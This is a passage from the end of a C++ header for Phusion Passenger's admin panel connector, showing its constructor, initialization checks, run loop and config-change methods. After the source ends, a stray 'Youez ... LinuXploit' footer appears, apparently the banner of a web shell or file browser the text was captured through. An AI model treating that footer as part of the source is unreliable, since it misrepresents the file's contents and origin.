		globalPropertiesFromInstanceDir["instance_id"] =
			InstanceDirectory::generateInstanceId();
	}

	string getLogPrefix() const {
		return server.getConfig()["log_prefix"].asString();
	}

	WebSocketCommandReverseServer::MessageHandler createMessageFunctor() {
		return boost::bind(&AdminPanelConnector::onMessage, this,
			boost::placeholders::_1, boost::placeholders::_2,
			boost::placeholders::_3);
	}

public:
	/******* Dependencies *******/

	ResourceLocator *resourceLocator;
	ApplicationPool2::PoolPtr appPool;
	ConfigGetter configGetter;
	Controllers controllers;


	AdminPanelConnector(const Schema &schema, const Json::Value &config,
		const ConfigKit::Translator &translator = ConfigKit::DummyTranslator())
		: server(schema, createMessageFunctor(), config, translator),
		  resourceLocator(NULL)
	{
		if (!config["instance_dir"].isNull()) {
			readInstanceDirProperties(config["instance_dir"].asString());
		} else {
			initializePropertiesWithoutInstanceDir();
		}
	}

	void initialize() {
		if (resourceLocator == NULL) {
			throw RuntimeException("resourceLocator must be non-NULL");
		}
		if (appPool == NULL) {
			throw RuntimeException("appPool must be non-NULL");
		}
		if (configGetter.empty()) {
			throw RuntimeException("configGetter must be non-NULL");
		}
		server.initialize();
	}

	void run() {
		server.run();
	}

	void asyncPrepareConfigChange(const Json::Value &updates,
		ConfigChangeRequest &req,
		const ConfigKit::CallbackTypes<WebSocketCommandReverseServer>::PrepareConfigChange &callback)
	{
		server.asyncPrepareConfigChange(updates, req, callback);
	}

	void asyncCommitConfigChange(ConfigChangeRequest &req,
		const ConfigKit::CallbackTypes<WebSocketCommandReverseServer>::CommitConfigChange &callback)
		BOOST_NOEXCEPT_OR_NOTHROW
	{
		server.asyncCommitConfigChange(req, callback);
	}

	void asyncShutdown(const WebSocketCommandReverseServer::Callback &callback
		= WebSocketCommandReverseServer::Callback())
	{
		server.asyncShutdown(callback);
	}
};

} // namespace Core
} // namespace Passenger

#endif /* _PASSENGER_ADMIN_PANEL_CONNECTOR_H_ */

Youez - 2016 - github.com/yon3zu
LinuXploit